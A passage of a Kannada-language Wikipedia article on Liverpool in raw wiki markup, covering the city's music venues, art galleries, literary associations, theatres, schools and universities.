ಇದರಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌ ವರ್ಷದ ಮರೆಯಲಾಗದ ಸಂಗೀತ ಸಭೆಯು ನಡೆಯುತ್ತದೆ. ಸಂಗೀತ ಮತ್ತು ನೃತ್ಯವನ್ನೊಳಗೊಂಡ ಸಂಗೀತ ಹಬ್ಬವಾದ ಕ್ರಿಮ್‌ಫಿಲ್ಡ್‌ ಲಿವರ್‌ಪೂಲ್‌ನ ಮೂಲದ ಕ್ರಿಮ್‌ ಕ್ಲಬ್ಬಿಂಗ್‌ ತಂಡದಿಂದ ನೈಕ್ಲಬ್‌ ದೇಶದಲ್ಲಿ ವಾರಕ್ಕೊಂದು ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮವನ್ನು ಆಯೋಜಿಸುವುದರೊಂದಿಗೆ ತನ್ನ ಅಸ್ಥಿತ್ವವನ್ನು ಪಡೆಯಿತು. ಮತ್ತು ಅಲ್ಲಿ ನಗರದ ವಿವಿದೆಡೆ ಹಲವಾರು ಸಂಗೀತ ಕಛೇರಿಗೆಂದು ಗೊತ್ತು ಮಾಡಿದ ಸ್ಥಳಗಳಿದ್ದು ಇವುಗಳಲ್ಲಿ ಎಕೊ ಅರೆನಾ ಅತ್ಯಂತ ದೊಡ್ಡ ಸ್ಥಳವಾಗಿದೆ. 2008ರಲ್ಲಿ ಕಟ್ಟಲ್ಪಟ್ಟ ಇದರಲ್ಲಿ 11,000ಜನರು ಕುಳ್ಳಬಹುದಾಗಿದ್ದು ಅದೇ ವರ್ಷ ಯುರೋಪ್‌ನ ಸಂಗೀತಕ್ಕಾಗಿನ MTV ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದುಕೊಂಡಿದೆ. ಅಲ್ಲಿಂದಿಚೆಗೆ ಜಗತ್ತಿನ ಅತ್ಯಂತ ಪ್ರಸಿದ್ದರಾದ ಆಂಡ್ರಿಯಾ ಬೊಸೆಲ್ಲಿ, ಬೆಯೊನ್ಸ್‌, ಎಲ್ಟೊನ್‌ ಜಾನ್‌, ಕನ್ಯೆ ವೆಸ್ಟ್‌, ಕಸಾಬಿಯನ್‌, ದಿ ಕಿಲ್ಲರ್ಸ್‌, ಲೆಡಿ ಗಾಗಾ, ಒಯಾಸಿಸ್‌, ಪಿಂಕ್‌ [[ರಿಹಾನ್ನಾ]], UB40 ಮುಂತಾದ ಪ್ರದರ್ಶನಗಳನ್ನು ಕಂಡಿದೆ. ===ದೃಶ್ಯ ಕಲೆಗಳು=== [[File:Tate Liverpool2.jpg|thumb|left|ಟೇಟ್‌ ಲಿವರ್‌ಪೂಲ್‌ ಆರ್ಟ್ ಗ್ಯಾಲರಿ]] ಲಂಡನ್‌ನ್ನು ಹೊರತು ಪಡಿಸಿದರೆ ಲಿವರ್‌ಪೂಲ್‌, ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌ನಲ್ಲಿಯೇ ಅತ್ಯಂಹ ಹೆಚ್ಚು ಕಲಾ ಸಂಗ್ರಹಾಲಯಗಳು ಮತ್ತು ಕಲಾವಸ್ತು ಪ್ರದರ್ಶನ ಮಂದಿರಗಳನ್ನು ಹೊಂದಿದೆ.<ref name="visitliverpool">{{Cite web|url=http://www.visitliverpool.com/site/what-to-do/arts-culture-liverpool/liverpool-city-region-must-see|title=Visit Liverpool|accessdate=2009-04-16}}</ref> ಲಿವರ್‌ಪೂಲ್‌ನ ರಾಷ್ಟ್ರೀಯ ಸಂಗ್ರಹಾಲಯದಲ್ಲಿ ಕೇವಲ ಇಂಗ್ಲಿಷ್‌ ಕಲಾವಿದರ ಕಲೆಗಳನ್ನು ಹೊಂದಿದ್ದು ಇದು ಇಂಗ್ಲೆಂಡ್‌ನಿಂದ ಸಂಪೂರ್ಣ ಹೊರತಾಗಿದೆ.<ref>[http://www.culture.gov.uk/what_we_do/museums_and_galleries/3383.aspx/ DCMS sponsored museums and galleries]</ref> ಲಂಡನ್‌ನ ಉತ್ತರದಲ್ಲಿರುವ ದಿ ಮಾಡರ್ನ್‌ ಆರ್ಟ್‌ ಕಲೆಕ್ಷನ್‌ ಆಪ್ ಟೆಟ್‌ ಪ್ರಾರಂಭವಾಗುವ ಮೊದಲು ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌ನಲ್ಲಿರುವ ಎಲ್ಲ ನವ್ಯ ಚಿತ್ರಸಂಗ್ರಹಲಯಗಳಿಗಿಂತಲೂ ದೊಡ್ಡ ಪ್ರಮಾಣದಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌ನ ಸಂಗ್ರಹಾಲಯಗಳು ನವ್ಯ ಕಲಾ ಸಂಗ್ರಹಕ್ಕಾಗಿ ತಮ್ಮ ಪಾತ್ರವನ್ನು ನೀಡಿದ್ದವು. FACT ಕೇಂದ್ರವು ಪ್ರವಾಸಿ ಬಹುಸ್ಟೋಟವರ್ಣಕಲಾ ಪ್ರದರ್ಶನ ಸೇವೆಯನ್ನು ಹೊಂದಿದೆ. ವಾಕರ್‌ ಕಲಾ ಸಂಗ್ರಹಾಲಯಗಳು ವ್ಯಾಪಕವಾದ ಪ್ರಿ-ರೆಪಲ್ಟಿಸ್‌ ಸಂಗ್ರಗಳನ್ನು ಹೊಂದಿವೆ. ಸಿಡ್ನಿ ಸಂಗ್ರಹಾಲಯವು 20ನೇ ಶತಮಾನಕ್ಕಿಂತ ಹಿಂದಿನ ಅತ್ಯಂತ ಪ್ರಮುಖ ಸಂಗ್ರಹಗಳನ್ನು ಹೊಂದಿದೆ.<ref name="liverpoolmuseums">{{Cite web|url=http://www.liverpoolmuseums.org.uk/|title=National Museums Liverpool|accessdate=2007-04-23}}</ref> ಹೀಗೆ ಹೇಳುತ್ತಾ ಹೋದರೆ ಸಂಗ್ರಹಾಲಯಗಳ ಹೆಸರು ಬೆಳೆಯುತ್ತಲೇ ಹೊಗುತ್ತದೆ. ಕೆರಿ ಹ್ಯಾಂಡ್‌ ಸಂಗ್ರಹಾಲಯವು 2008ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಿದೆ ಇದರಲ್ಲಿ ಸಮಕಾಲಿನ ಚಿತ್ರಗಳ ಪ್ರದರ್ಶನವನ್ನು ಪ್ರದರ್ಶಿಸಲಾಗುತ್ತದೆ. ಮತ್ತು ಲಿವರ್‌ಪೂಲ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯದ ವಿಕ್ಟೋರಿಯಾ ಕಟ್ಟಡವು ಸಾರ್ವಜನಿಕ ಕಲಾ ಪ್ರದರ್ಶನ ಕೆಂದ್ರವಾಗಿ ಪುನಃ ಪ್ರಾರಂಭವಾಗಿದೆ ಮತ್ತು ಇಲ್ಲಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಕಲಾಕ್ರತಿಗಳನ್ನು ಪ್ರದರ್ಶಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಅಮೆರಿಕಾವನ್ನು ಹೊರತುಪಡಿಸಿ ಅತ್ಯಂತ ದೊಡ್ಡ ಔಡುಬನ್‌ ಅವರ ಕಲಾ ಪ್ರದರ್ಶನವನ್ನು ಮಾಡಲಾಗುತ್ತದೆ.<ref>{{Cite web|url=http://www.liv.ac.uk/vgm/art/audubon.htm|title=John James Audubon - Victoria Gallery & Museum - University of Liverpool|accessdate=2010-09-05}}</ref> ಹಲವಾರು ಕಲಾವಿದರೂ ಕೂಡ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಜನಿಸಿದ್ದಾರೆ ಉದಾಹರಣೆಗೆ ವರ್ಣಕಾರರಾದ ಜಾರ್ಜ್ ಸ್ಟಬ್ಸ್‌ ಇವರು ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ 1724ರಲ್ಲಿ ಜನಿಸಿದವರಾಗಿದ್ದಾರೆ. ಲಿವರ್‌ಪೂಲ್‌ ಬೆನ್ನಿಯಲ್‌ ಕಲಾ ಹಬ್ಬವು ಮಧ್ಯಸಪ್ಟೆಂಬರ್‌ನಿಂದ ನವೆಂಬರ್‍ ಕೊನೆಯವರೆಗೆ ನಡೆಯುತ್ತದೆ ಮತ್ತು ಇದು ಮೂರು ಬಗೆಯ ಭಾಗಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ. ಅವೆಂದರೆ, ಅಂತರಾಷ್ಟ್ರೀಯ, ಇಲ್ಲಿ ವಯಕ್ತಿಕ ಮತ್ತು ಸಮಕಾಲಿನ ಕಲಾ ಪ್ರದರ್ಶನವನ್ನು ಹಮ್ಮಿಕೊಳ್ಳಲಾಗುತ್ತದೆ ಅದರಲ್ಲಿ ನೈಗೆಯ ಕಲೆಯನ್ನೂ ಕೂಡ ಪ್ರದರ್ಶಿಸಲಾಗುತ್ತದೆ.<ref name="biennial">{{Cite web|url=http://www.biennial.com/|title=Liverpool Biennial|accessdate=2007-04-23}}</ref> ಇಲ್ಲಿ 2004ರ ಅವಧಿಯಲ್ಲಿ ನಡೆದ ಯೊಕೊ ಒನ್‌ ಅವರ ಕಲೆಯಾದ "ಮೈ ಮದರ್‌ ಇಸ್‌ ಬ್ಯೂಟಿಪುಲ್‌" ಎಂಬ ಕಲೆಯಲ್ಲಿ ನಗ್ನವಾದ ಮಹಿಳೆಯನ್ನು ಚಿತ್ರಿಸಿದ್ದು ಮತ್ತು ಅಂಗಡಿ ಮುಂಗಟ್ಟುಗಳಿರುವ ಶಹರಪ್ರದೇಶದಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕೆ ಇರಿಸಿದ್ದು ವ್ಯಾಪಕವಾದ ಪ್ರತಿಭಟನೆಗೆ ಗುರಿಯಾಯಿತು. ಪ್ರತಿಭಟನೆಗಳನ್ನು ಹೊರತುಪಡಿಸಿ ಅಲ್ಲಿಯ ಕಾರ್ಯ ಮುಂದುವರೆದುಕೊಂಡು ಹೋಯಿತು.{{Citation needed|date=July 2008}} [[File:Superlambbanana.JPG|thumb|ಸೂಪರ್‌ಲಾಂಬಾನಾನಾ, ತಿಥೆಬಾರ್ನ್‌ ಸ್ಟ್ರೀಟ್, ಲಿವರ್‌ಪೂಲ್]] [[File:LambananasOM.jpg|thumb|''Superlambananas'', 2010]] ===ಸಾಹಿತ್ಯ=== ಡೆನಿಯಲ್‌ ಡೆಪೊಯ್‌, ವಾಷಿಂಗ್‌ಟನ್‌ ಇರ್ವಿಂಗ್‌ ಥಾಮಸ್‌ ದೆ ಕ್ವೆನ್ಸಿ, ಹರ್ಮಿನ್‌ ಮೆಲ್‌ವಿಲ್ಲೆ, ನಥಾನಿಯಲ್‌ ಹಾಥೋರ್ನ್‌, ಚಾರ್ಲ್‌‌ಸ್‌ ಡಿಕೆನ್ಸ್‌. ಗೆರಾಲ್ಡ್‌ ಮಾನ್ಲಿ ಹೋಪ್‌ಕಿನ್ಸ್‌ ಮತ್ತು ಹಗ್‌ ವಾಲ್‌ಪೂಲ್‌ ಸೇರಿದಂತೆ ಹಲವಾರು ಬರಹಗಾರರು ಲಿವರ್‌ಪೂಲ್‌ನ್ನು ಸಂದರ್ಶಿಸಿದ್ದಾರೆ ಮತ್ತು ಇವರೆಲ್ಲರೂ ಸ್ಪಲ್ಟದಿನಗಳ ಕಾಲ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ವಾಸಮಾಡಿಯೇ ಹೊಗಿದ್ದಾರೆ.{{Citation needed|date=January 2009}} ಹಾವ್‌ಥ್ರೋನ್‌ ಲಿವರ್ಪೂ್ಲ್‌ನಲ್ಲಿ ಅಮೆರಿಕಾದ ಪರವಾಗಿ ಪರದೇಶದಲ್ಲಿ ವಾಸಿಸಿ ಅವರ ಯೋಗಕ್ಷೇಮವನ್ನು ನೋಡಿಕೊಳ್ಳುವ ಅಧಿಕಾರಿಯಾಗಿ 1853 ರಿಂದ 1856ರ ಅವಧಿಯಲ್ಲಿ ವಾಸಿಸಿದ್ದರು.{{Citation needed|date=January 2009}} ಆದಾಗ್ಯೂ ಅವರು ಹಿಂದೆಂದೂ ಲಿವರ್‌ಪೂಲನ್ನು ಮೊದಲು ಬೇಟಿಯಾಗಿರಲಿಲ್ಲ. ಜಂಗ್‌ ಅವರು ಲಿವರ್‌ಪೂಲ್‌ ಬಗ್ಗೆ ಒಂದು ಉಜ್ವಲವಾದ ಕನಸನ್ನು ಕಂಡಿದ್ದರು ಮತ್ತು ತನ್ನ ಒಂದು ಯೋಜನೆಯಲ್ಲಿ ಅವರು ಅದನ್ನು ವಿಷ್ಲೇಶಿಸಿದ್ದಾರೆ.<ref>{{Cite web|url=https://archive.org/details/memoriesdreamsre007394mbp |title='&#39;Memories, Dreams, Reflections'&#39; (1961) |publisher=Archive.org |date= |accessdate=2010-08-03}}</ref> 1960ರ ದಶಕದ ಅಂತ್ಯದಲ್ಲಿ ಈ ಲಿವರ್ ಪೂಲ್ ಕವಿಗಳಿಗಾಗಿ ಪ್ರಸಿದ್ದವಾಯಿತು. ಈ ಸಾಲಿನಲ್ಲಿ ರೊಗರ್‌ ಮೆಕ್‌ಗೊ ಮತ್ತು ಸದ್ಯ ಮರಣಿಸಿದ ಅಡ್ರಿಯನ್‌ ಹೆನ್ರಿಯವರೂ ಸೇರಿದ್ದಾರೆ. 1967ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಹೆನ್ರಿ, ಮ್ಯಾಕ್ ಗೊ ಮತ್ತು ಬ್ರಿಯಾನ್ ಪ್ಯಾಟರ್ನ್ ಇವರಿಂದ ಬರೆಯಲ್ಪಟ್ಟ ಕವನ ಸಂಕಲನವಾದ ''ಮರ್ಸಿ ಸೌಂಡ್‌'' ನ ಸುಮಾರು 500,000 ಪ್ರತಿಗಳು ಮಾರಾಟವನ್ನು ಕಂಡವು.{{Citation needed|date=January 2009}} ಹೆಲನ್‌ ಪಾರೆಸ್ಟರ್‌ ಎಂಬ ಕಾವ್ಯನಾಮದಡಿಯಲ್ಲಿ ಬರೆಯುತ್ತಿರುವ ಜೂನ್‌ ಬಾಟಿಯಾ ಅವರು ಹಲವಾರು ಕಾದಂಬರಿಗಳನ್ನು ಲಿವರ್‌ಪೂಲಿನ ಮೇಲೆ ಪ್ರಕಟಿಸಿದ್ದಾರೆ. ಮತ್ತು ಅವರ ಆತ್ಮಕಥನವಾದ ''ಟೊಪೆನ್ಸ್‌ ಟು ಕ್ರಾಸ್ ದಿ ಮರ್ಸಿ'' ಮತ್ತು ಅದರ ಮುಂದಿನ ಭಾಗಗಳಲ್ಲೂ ಲಿವರ್‌ಪೂಲ್‌ನ ಹೆಸರನ್ನು ಪ್ರಸ್ತಾಪಿಸಿದ್ದಾರೆ. ===ಪ್ರದರ್ಶನ ಕಲೆಗಳು=== ಲಿವರ್‌ಪೂಲ್‌ ಕಲೆಯ ನಿರ್ವಹಣೆಯ ಇತಿಹಾಸವನ್ನು ಹೊಂದಿದೆ ಮತ್ತು ಇವು ಹಲವಾರು ವಾರ್ಷಿಕ ನಾಟಕ ಹಬ್ಬಗಳಾದ , ಲಿವರ್‌ಪೂಲಿನ ಪ್ರಧಾನ ಚರ್ಚ್‌‌ನ ಒಳಗಡೆ ನಡೆಯುವ ಲಿವರ್‌ಪೂಲ್‌ ಶೇಕ್ಸ್‌ಪಿಯರ್‌ ಹಬ್ಬದಲ್ಲಿ ಮತ್ತು ಐತಿಹಾಸಿಕ ಸೆಂಟ್‌ ಜೆಮ್ಸ್‌ ಹುದೋಟದಲ್ಲಿ ಪ್ರತಿ ಬೆಸಿಗೆಯಲ್ಲಿ, ಹೊಸ ರಂಗಮಂದಿರದ ಎವ್ರಿವರ್ಡ್‌ ಹಬ್ಬ್ಗಗಳಲ್ಲಿ, ದೇಶದ ನಾನಾಕಡೆಗಳಲ್ಲಿ ಇದು ಒಂದೇ ನಮುನೆಯಲ್ಲಿ ನಿರ್ವಹಿಸಲಾಗುತ್ತಿದೆ.<ref>{{Cite web |url=http://www.everymanplayhouse.com/Show/Everyword/69.aspx |title=Everyman and Playhouse Theatre, Liverpool - 2010 |publisher=Everymanplayhouse.com |date= |accessdate=2010-08-03 |archive-date=2010-07-12 |archive-url=https://web.archive.org/web/20100712092440/http://www.everymanplayhouse.com/Show/Everyword/69.aspx |url-status=dead }}</ref> ಫಿಸಿಕಲ್‌ ಫೆಸ್ಟ್‌, ಇದು ಒಂದು ಅಂತರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯ ರಂಗಮಂದಿರದ ಹಬ್ಬವಾಗಿದೆ ಇದನ್ನು ಥೆಮಿಸ್‌ನವರು ಆಯೋಜಿಸುತ್ತಾರೆ. ವಾರ್ಷಿಕ ಹಬ್ಬವನ್ನು ಜಾನ್‌ ಮೂರ್ಸ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯದ ನಾಟಕ ವಿಭಾಗ ಮತ್ತು LIPA ವಿಭಾಗಗಳು ನಿರ್ವಹಿಸುತ್ತವೆ<ref>{{Cite web |url=http://www.tmesistheatre.com/physicalfest/physical_fest.php |title=Tmesis Theatre Company - Physical Fest '05 |publisher=Tmesistheatre.com |date= |accessdate=2010-08-03 |archive-date=2010-11-14 |archive-url=https://web.archive.org/web/20101114164125/http://www.tmesistheatre.com/physicalfest/physical_fest.php |url-status=dead }}</ref> ಮತ್ತು ಇವು ನಗರದಲ್ಲಿನ ಇನ್ನೂ ಹಲವಾರು ರಂಗಮಂದಿರಗಳನ್ನು ನೋಡಿಕೊಳ್ಳುತ್ತಿವೆ. ಇವುಗಳಲ್ಲಿ ಎಂಪಾಯರ್‌, ಎವರಿಮ್ಯಾನ್, ಲಿವರ್‌ಪೂಲ್‌ ಪ್ಲೆಹೌಸ್‌, ನೆಪ್ಚೂನ್‌, ರಾಯಲ್‌ ಕೋರ್ಟ್‌ ಮತ್ತು ಯುನಿಟಿ ರಂಗಮಂದಿರಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಎವರಿಮ್ಯಾನ್‌ ಮತ್ತು ಪ್ಲೆಹೌಸ್‌ಗಳು ಒಂದೇ ಕಂಪನಿಯ ಎರಡು ವಿಭಾಗಗಳಾಗಿವೆ.<ref name="everymanplayhouse">{{Cite web|url=http://www.everymanplayhouse.com/|title=Everyman & Playhouse|accessdate=2007-04-23}}</ref><ref name="unitytheatre">{{Cite web|url=http://www.unitytheatreliverpool.co.uk/|title=Unity Theatre Liverpool|accessdate=2007-04-23}}</ref> ಎರಡೂ ವಿಭಾಗಗಳೂ ಅವರ ಸ್ವಂತ ಉತ್ಪಾದನೆಗಳನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತವೆ ಮತ್ತು ಪ್ರವಾಸಿ ಪ್ರದರ್ಶನ ಸೌಲಭ್ಯವನ್ನು ಒದಗಿಸುತ್ತವೆ.<ref>{{Cite web|author=Catherine Jones |url=http://www.liverpoolecho.co.uk/liverpool-news/local-news/2009/07/24/28m-liverpool-everyman-theatre-redevelopment-gets-green-light-with-12-8m-grant-100252-24227969/ |title=News - Liverpool Local News - £28m Liverpool Everyman theatre redevelopment gets green light with £12.8m grant |publisher=Liverpool Echo |date=2009-07-24 |accessdate=2010-08-03}}</ref> ==ಶಿಕ್ಷಣ== {{Ref improve section|date=January 2010}} [[File:Victoria Building, University of Liverpool - geograph.org.uk - 209212.jpg|thumb|right|ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಲಿವರ್‌ಪೂಲ್, ವಿಕ್ಟೋರಿಯಾ ಬಿಲ್ಡಿಂಗ್]] [[File:LJMU Byrom Street.jpg|thumb|ಲಿವರ್‌ಪೂಲ್ ಜಾನ್ ಮೂರ್ಸ್ ಯುನಿವರ್ಸಿಟಿಯ ಜೇಮ್ಸ್ ಪಾರ್ಸೊನ್ಸ್ ಕಟ್ಟಡ]] ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿನ ಪ್ರಾಥಮಿಕ ಮತ್ತು ಮಾಧ್ಯಮಿಕ ಶಿಕ್ಷಣವು ವಿವಿಧ ನಮೂನೆಗಳಲ್ಲಿ ಲಭ್ಯವಿರುತ್ತದೆ ಮತ್ತು ಜಾತ್ಯಾತೀತ ದೇಶಗಳನ್ನೊಳಗೊಂಡು, ಇಂಗ್ಲೆಂಡ್, [[ಜ್ಯೂಯಿಶ್,]] ಮತ್ತು [[ರೋಮನ್ ಕ್ಯಾಥೋಲಿಕ್]] ಚರ್ಚ್‌ಗಳೆಲ್ಲದರಿಂದಲೂ ಬೆಂಬಲಿಸಲ್ಪಟ್ಟಿತು. ಇಸ್ಲಾಮಿಕ್ ಶಿಕ್ಷಣವು ಪ್ರಾಥಮಿಕ ಹಂತದಲ್ಲಿ ಮಾತ್ರ ಲಭ್ಯವಿರುತ್ತದೆ ಮತ್ತು ದ್ವಿತೀಯ ಹಂತದಲ್ಲಿ ಉಪಲಬ್ದವಿರುವದಿಲ್ಲ. ಲಿವರ್‌ಪೂಲ್ ಸಂಸ್ಥೆಯ ಮಹತ್ವದ ಈ ಮೊದಲಿನ ಶಾಲೆಯು ಲಿವರ್‌ಪೂಲ್ ಬ್ಲೂ ಕೋಟ್ ಸ್ಕೂಲ್ ಆಗಿದ್ದು, 1708 ರಲ್ಲಿ ಧರ್ಮಾರ್ಥ ಸೇವಾ ಶಾಲೆಯಾಗಿ ಸ್ಥಾಪನೆಯಾಯಿತು. ಲಿವರ್‌ಪೂಲ್ ಬ್ಲೂ ಕೋಟ್ ಶಾಲೆಯು ಇಡೀ ನಗರದಲ್ಲಿಯೇ ಶೇಕಡಾ ನೂರರಷ್ಟು ಅಥವಾ ಅದಕ್ಕೂ ಹೆಚ್ಚು ಚೆನ್ನಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿರುವ ಶಾಲೆಯಾಗಿದೆ ಮತ್ತು ಜಿಸಿಎಸ್‌ಇ(GCSE) ಯ A*-C ದರ್ಜೆಯ ಮಾನ್ಯತೆ ಪಡೆದಿದ್ದು, ಜಿಸಿಎಸ್‌ಇ(GCSE) ಫಲಿತಾಂಶದ ಪ್ರಕಾರ ದೇಶದ್ಲಲಿಯೇ ಮೂವತ್ತನೇ ಅತ್ಯತ್ತಮ ಶಾಲೆಯೆಂಬ ಹೆಗ್ಗಳಿಕೆ ಹೊಂದಿರುತ್ತದೆ. ಈ ಶಾಲೆಯಲ್ಲಿನ ಪ್ರತಿ ವಿದ್ಯಾರ್ಥಿಯ ಸರಾಸರಿ ಅಂಕಗಳಿಕೆಯು A/AS ಶ್ರೇಣಿಯ 1087.4 ರಷ್ಟು ಇರುತ್ತದೆ.<ref>{{Cite news|url=http://news.bbc.co.uk/1/shared/bsp/hi/education/07/school_tables/secondary_schools/html/341_gcse_lea.stm|title=Secondary schools in Liverpool|accessdate=2008-01-10 | work=BBC News}}</ref> ಇನ್ನಿತರ ಗಮನೀಯವಾದ ಜ್ಯೇಷ್ಠ ಶಾಲೆಗಳೆಂದರೆ, 1840 ರಲ್ಲಿ ಸ್ಥಾಪನೆಯಾದ ಲಿವರ್‌ಪೂಲ್ ಕಾಲೆಜ್ ಮತ್ತು 1620 ರಲ್ಲಿ ಸ್ಥಾಪನೆಯಾದ ಮರ್ಚೆಂಟ್ ಟೇಲರ್‍ ಸ್ಕೂಲ್.<ref name="liverpoolcollege">{{Cite web|url=http://www.liverpoolcollege.org.uk/|title=Liverpool College|accessdate=2007-04-23}}</ref> ಲಿವರ್‌ಪೂಲ್ ಸಂಸ್ಥೆಯ ಇನ್ನೊಂದು ಮುಖ್ಯ ಶಾಲೆಯು, ನಗರದ ವೆಸ್ಟ್ ಡರ್ಬಿ ಪ್ರದೇಶದಲ್ಲಿರುವ ಸೇಂಟ್ ಎಡ್ವರ್ಡ್ ಕಾಲೇಜ್ ಆಗಿರುತ್ತದೆ. ಐತಿಹಾಸಿಕ ವ್ಯಾಕರಣ ಶಾಲೆಗಳಾದ ಲಿವರ್‌ಪೂಲ್ ಇನ್ಸ್ಟಿಟ್ಯೂಟ್ ಹೈಸ್ಕೂಲ್ ಮತ್ತು ಲಿವರ್‌ಪೂಲ್ ಕಾಲೇಜಿಯೇಟ್ ಗಳು 1980 ರಲ್ಲಿ ಮುಚ್ಚಲ್ಪಟ್ಟವು. ಆದರೆ ಶೈಕ್ಷಣಿಕ ನಿಖರತೆಯಿಂದಾಗಿ ಅವುಗಳು ಇಂದಿಗೂ ನೆನಪಿನಲ್ಲಿವೆ. ಬೆಲ್ಲೆರೈವ್ ಕ್ಯಾಥೋಲಿಕ್ ಕಾಲೇಜು 2007 ರಲ್ಲಿ ಜಿಸಿಎಸ್‌ಇ ಫಲಿತಾಂಶದ ಆಧಾರದ ಮೇಲೆ ನಗರದಲ್ಲಿಯೇ ಅತ್ಯುತ್ತಮವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿರುವ ಸಂಸ್ಥೆಯಾಗಿದೆ. ಲಿವರ್‌ಪೂಲ್ ಸಂಸ್ಥೆಯು ಮೂರು ವಿಶ್ವವಿದ್ಯಾಲಯಗಳನ್ನು ಹೊಂದಿದೆ. ಅವುಗಳೆಂದರೆ, ಲಿವರ್‌ಪೂಲ್ ವಿಶ್ವವಿದ್ಯಾಲಯ,ಲಿವರ್‌ಪೂಲ್ ಜಾನ್ ಮೋರಸ್ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು ಲಿವರ್‌ಪೂಲ್ ಹೋಪ್ ವಿಶ್ವವಿದ್ಯಾಲಯ. ಎಡ್ಜ್ ಹಿಲ್ ವಿಶ್ವವಿದ್ಯಾಲಯವು ಮುಖ್ಯವಾಗಿ ಶಿಕ್ಷಕರ ತರಬೇತಿ ಶಿಕ್ಷಣ ನೀಡುವ ಉದ್ದೇಶದಿಂದ ಲಿವರ್‌ಪೂಲ್‌ನ ಎಡ್ಜ್ ಹಿಲ್ ಜಿಲ್ಲೆಯಲ್ಲಿ ಸ್ಥಾಪನೆಯಾಗಿತ್ತು. ಈಗ ಇದು ನೈರುತ್ಯ ಲಾನ್ಸ್‌ಶೈರ್‌ನ ಓರ್ಮ್‌‌ಸ್ಕಿರ್ಕ್‌ ಎಂಬಲ್ಲಿದೆ. ಲಿವರ್‌ಪೂಲ್ ಇನ್ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಪರ್ಫಾರ್ಮಿಂಗ್ ಆಟ್ಸ್ ಸಂಸ್ಥೆಯ(LIPA) ಮೂಲವೂ ಕೂಡಾ ಲಿವರ್‌ಪೂಲ್ ಆಗಿದೆ. ಲಿವರ್‌ಪೂಲ್ ವಿಶ್ವವಿದ್ಯಾಲಯವು 1881ರಲ್ಲಿ ಯುನಿವರ್ಸಿಟಿ ಕಾಲೇಜ್ ಲಿವರ್‌ಪೂಲ್ ಎಂಬ ಹೆಸರಲ್ಲಿ ಸ್ಥಾಪನೆಯಾಯಿತು. 1884ರಲ್ಲಿ ಫೆಡರಲ್ ವಿಕ್ಟೋರಿಯಾ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಒಂದು ಭಾಗವಾಯಿತು. 1903 ರಲ್ಲಿ ಸಂಸತ್ತಿನಲ್ಲಿ ಅಂಗೀಕರಿಸಿದ ಮಸೂದೆ ಮತ್ತು ರಾಯಲ್ ಚಾರ್ಟರ್‍ ಮೂಲಕ ಇದು ಸ್ವತಂತ್ರ ವಿಶ್ವವಿದ್ಯಾಲಯವಾಗಿ ತನ್ನದೇ ಪದವಿಯನ್ನು ನೀಡುವ ಅಧಿಕಾರ ಹೊಂದಿತು. ಇದು ಬಯೋಕೆಮೆಸ್ಟ್ರಿ,ಆರ್ಕಿಟೆಕ್ಚರ್‍,ಸಿವಿಕ್ ಡಿಸೈನ್,ವೆಟರ್ನರಿ ವಿಜ್ಞಾನ ಸಾಗರ ಆದ್ಯಯನ ಮತ್ತು ಸಮಾಜ ವಿಜ್ಞಾನ ವಿಷಯಗಳಲ್ಲಿ ಪದವಿ ನೀಡುತ್ತಿರುವ ಮೊತ್ತಮೊದಲ ವಿಶ್ವವಿದ್ಯಾಲಯವಾಗಿದೆ. ಲಿವರ್‌ಪೂಲ್ ಹೋಪ್ ವಿಶ್ವವಿದ್ಯಾಲಯವನ್ನು, ಈ ಹಿಂದೆ 1844 ರಲ್ಲಿ ಸ್ಥಾಪನೆಯಾಗಿದ್ದ ಮೂರು ಕಾಲೇಜುಗಳನ್ನು ವಿಲೀನಗೊಳಿಸಿ ರಚಿಸಲಾಯಿತು ಮತ್ತು 2005 ರಲ್ಲಿ ವಿಶ್ವವಿದ್ಯಾಲಯವೆಂಬ ಮಾನ್ಯತೆ ಪಡೆದುಕೊಂಡಿತು. ಯುರೋಪ್‌ನಲ್ಲಿ ಇದು ಕೇವಲ ಕ್ರೈಸ್ತ ಧರ್ಮದ ವಿಶ್ವವಿದ್ಯಾಲಯವಾಗಿತ್ತು.<ref>{{cite news|url=http://www.independent.co.uk/news/education/higher/liverpool-hope--europes-only-ecumenical-university--is-resisting-the-urge-to-expand-454872.html|title=Liverpool Hope – Europe's only ecumenical university – is resisting the urge to expand|work=The Independent|first=Lucy|last=Hodges|date=28 June 2007|accessdate=8 February 2011|archiveurl=https://web.archive.org/web/20090611040923/http://www.independent.co.uk/news/education/higher/liverpool-hope--europes-only-ecumenical-university--is-resisting-the-urge-to-expand-454872.html|archivedate=11 June 2009}}</ref> ಇದು ಚೈಲ್ಡ್‌ವಾಲ್‌ನಲ್ಲಿನ ಟಾಗಾರ್ಟ್ ಅವೆನ್ಯೂದ ಎರಡೂ ಕಡೆಯಲ್ಲಿ ಇತ್ತು ಮತ್ತು ನಗರದ ಮಧ್ಯಭಾಗವಾದ ಕಾರ್ನರ್‌ಸ್ಟೋನ್‌ನಲ್ಲಿ ದ್ವಿತೀಯ 